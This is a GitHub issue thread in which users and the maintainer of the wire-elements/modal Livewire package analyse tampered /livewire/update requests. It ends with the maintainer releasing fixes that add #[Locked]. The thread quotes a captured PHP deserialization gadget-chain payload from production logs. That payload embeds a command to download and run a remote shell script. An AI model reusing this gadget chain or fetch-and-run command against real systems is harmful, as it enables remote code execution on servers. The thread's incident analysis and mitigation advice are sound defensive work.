Security Report – Potential Injection / Hydration Issue in wire-elements/modal

[ahsanmahmood09]

I’m using wire-elements/modal and noticed a potential security risk related to the component state being hydrated from the Livewire request payload.
Environment

Laravel: 12.4.2

Livewire: 3.7.3

wire-elements/modal: 3.0.2

Issue Summary

The Modal component exposes a public property like:

public $components = [];

Because Livewire accepts client-side “updates” during hydration, an attacker can tamper the /livewire/update request payload and attempt to inject unexpected structures/types into the $components property.

Example
{
"updates": {
"components": [
[],
{
"s": "clctn",
"class": "Monolog\Handler\BufferHandler"
}
]
}
}

Expected Behavior

The request should be rejected and hydration should fail when payload is modified (checksum mismatch), and the component should never accept injected object-like structures.

Actual Behavior

In my testing, the payload tampering appears to reach the components state update (or at minimum the property is not strictly validated), which may allow unsafe hydration / unexpected behavior depending on downstream usage.

Security Impact

This could potentially lead to:

unexpected object hydration attempts

unexpected execution paths if $components values are used dynamically

risk increases if any dynamic class resolution is done based on component state

Recommendation / Fix

• Avoid exposing complex dynamic state as public properties when possible

• Add strict validation/sanitization for $components updates (allow only whitelisted arrays/strings)

• Ensure tampered payloads always hard-fail hydration

[PhiloNL]

Hi @ahsanmahmood09
Thanks for your report. Not sure if this can be solved. Given modals are invoked from the client-side, a checksum would not be possible I believe. Any examples on a recommendation/fix? A PR that includes a fix is also welcome of course 😄

[AnOlsen]

We've been bombarded with what looks like this for the last two weeks. Someone is hitting our application regularly with these kinds of payloads, and I've really struggled to figure out what the ramifications are, apart from the type errors that are being logged in our monitoring system.

livewire/livewire: v3.6.4 (so GHSA-29cq-5w36-x7w3 is patched)
wire-elements/modal: v2.0.13

Here's a snapshot of what it looks like from our access log, the same 4 requests pattern happens on all of them.

18.xxx.xxx.xxx - - [20/Jan/2026:17:18:22 +0100] "POST /livewire/update HTTP/1.1" 500 5 "-" "python-requests/2.32.4"
18.xxx.xxx.xxx - - [20/Jan/2026:17:18:22 +0100] "POST /livewire/update HTTP/1.1" 500 5 "-" "python-requests/2.32.4"
18.xxx.xxx.xxx - - [20/Jan/2026:17:18:23 +0100] "POST /livewire/update HTTP/1.1" 200 8889 "-" "python-requests/2.32.4"
18.xxx.xxx.xxx - - [20/Jan/2026:17:18:23 +0100] "POST /livewire/update HTTP/1.1" 500 5 "-" "python-requests/2.32.4"

The status 200 in there is really worrying, as I've been unable to reproduce it locally, so I don't yet know what it is they end up seeing, if anything.

It looks like they are attempting (hopefully not succeeding) to run a serializable closure, as this is part of the payload, notice the curl in the Chained array:

"components": [
  1,
  [
      {
          "a": [
              {
                  "__toString": "phpversion",
                  "close": [
                      [
                          [
                              {
                                  "chained": [
                                      "O:38:\"Illuminate\\Broadcasting\\BroadcastEvent\":4:{s:5:\"dummy\";O:40:\"Illuminate\\Broadcasting\\PendingBroadcast\":2:{s:9:\"\u0000*\u0000events\";O:31:\"Illuminate\\Validation\\Validator\":1:{s:10:\"extensions\";a:1:{s:0:\"\";s:6:\"system\";}}s:8:\"\u0000*\u0000event\";s:107:\"nohup sh -c 'curl -sSL http://<bad.ip.address>/d/sex1.sh -o /tmp/sex.sh && bash /tmp/sex.sh' >/dev/null 2>&1 &\";}s:10:\"connection\";N;s:5:\"queue\";N;s:5:\"event\";O:37:\"Illuminate\\Notifications\\Notification\":0:{}}"
                                  ]
                              },
                              {
                                  "s": "form",
                                  "class": "Illuminate\\Broadcasting\\BroadcastEvent"
                              }
                          ],
                          "dispatchNextJobInChain"
                      ],
                      {
                          "s": "clctn",
                          "class": "Laravel\\SerializableClosure\\Serializers\\Signed"
                      }
                  ]
              },
              {
                  "s": "clctn",
                  "class": "GuzzleHttp\\Psr7\\FnStream"
              }
          ],

I've been saving the json of all Livewire post requests, just so I could try and reproduce it, but no luck so far. I'd be happy to send these over if they are of any use, I'd rather not post them publicly in case it's actually a security risk.

The exceptions that end up being logged in the monitoring system look like this:

TypeError: Cannot assign array to property LivewireUI\Modal\Modal::$activeComponent of type ?string=
ViewException: Trying to access array offset on value of type int (View: /app/resources/views/vendor/wire-elements-modal/modal.blade.php)

[ahsanmahmood09]

@AnOlsen I ran into the same error and the exact same payload you’re seeing. I’m already on the latest Livewire, so this doesn’t appear to be the Livewire vulnerability.

From what I can tell, this is related to how the Livewire lifecycle works: Livewire validates the checksum for the snapshot, but it does not validate the updates array in the same way. That means an attacker can:

• send a request to obtain a valid snapshot/checksum, then

• resend the request with a modified updates payload while keeping the original (valid) snapshot/checksum.

Livewire still treats that as a valid request because the snapshot checksum matches, even though the updates content was tampered with. In our case, the application fortunately blocks it downstream, but Livewire itself doesn’t flag it as an invalid/tampered request.

So I think this is more of a Livewire lifecycle/validation gap than a version-specific vulnerability.

[PhiloNL]

I think the component is targeted because it's included on every page so when they use the exploit it looks for Livewire components with a snapshot.

I've had ChatGPT and Claude analyse GHSA-29cq-5w36-x7w3 and the modal codebase and it looks like they are trying the same attack vector:

According to Claude, what the attack is attempting:

The payload is a classic PHP deserialization gadget chain attack attempting remote code execution:

// The payload attempts to chain these classes:
// - Monolog\Handler\BufferHandler
// - GuzzleHttp\Psr7\FnStream
// - Illuminate\Broadcasting\BroadcastEvent
// - Laravel\SerializableClosure\Serializers\Signed

To ultimately execute:
nohup sh -c 'curl -sSL http://<bad.ip>/d/sex1.sh -o /tmp/sex.sh && bash /tmp/sex.sh'

Why the errors prove Livewire's defenses ARE working

The TypeErrors being logged demonstrate the attack is failing:

1. TypeError: Cannot assign array to property ...::$activeComponent of type ?string — PHP's type system rejecting the tampered payload
2. ViewException: Trying to access array offset on value of type int — The malformed data causes errors when processed

Why wire-elements/modal is not at fault

The Modal component (src/Modal.php:19) has:
public array $components = [];

This is a normal public Livewire property. Every Livewire component with public properties could theoretically be targeted by this attack. The vulnerability was in Livewire's hydration mechanism, not in how any particular component declares its properties.

The fix is in Livewire, not this package

Package	Vulnerable	Fixed
livewire/livewire	3.0.0-beta.1 to 3.6.3	3.6.4+

The reporter mentions they're on v3.6.4, which includes the fix. The 500 errors they're seeing confirm the malicious payloads are being rejected.

About the 200 response

The occasional 200 status is likely because:

• Some probe requests may be well-formed enough to not trigger errors
• Livewire returns 200 even when validation catches issues internally
• Not every request in the attack pattern contains the malicious payload

Recommendations for users being targeted

1. Ensure Livewire is >= 3.6.4 (critical)
2. The errors being logged are a good sign — they indicate the attack is failing
3. Consider rate-limiting /livewire/update endpoint at the WAF/load balancer level
4. Block the python-requests user agent if you don't need it
5. The attacks will continue but should not succeed on patched versions

Conclusion

This is automated scanning/exploitation of CVE-2025-54068 targeting any Livewire application. wire-elements/modal is simply a common package that attackers know exists, making it a convenient target. No changes are needed in this package — the security boundary is correctly in Livewire itself.

---

It did suggest adding #[Locked] for additional security so I'll test this to see if this works without breaking the functionallity.

[ahsanmahmood09]

Yes, we did the same analysis and already upgraded Livewire to v3.7.3, but the same attack patterns continued. Because of that, we ultimately had to mitigate at the WAF level by adding multiple blocking rules.

So I’m not confident a Livewire upgrade alone is the solution, since we’ve already tested that path. Regarding wire-ui-modal, it looks like the attackers are attempting to manipulate the public property:

public array $components = [];

Ideally this should be protected/locked so it can’t be tampered with from the request payload.

Also, this isn’t strictly limited to that package. They seem to know we’re using it, but even if we remove it, as long as they can guess or discover any existing Livewire component name/class, they can still craft a tampered payload and send it.

Right now, the only reliable mitigation is server-side validation (plus WAF filtering). If Livewire can reliably detect and reject a tampered payload at the framework level (before hydration/action handling), that would be the most effective upper-layer fix.

[PhiloNL]

Tagged new releases that add #[Locked]:
https://github.com/wire-elements/modal/releases/tag/3.0.4
https://github.com/wire-elements/modal/releases/tag/2.0.14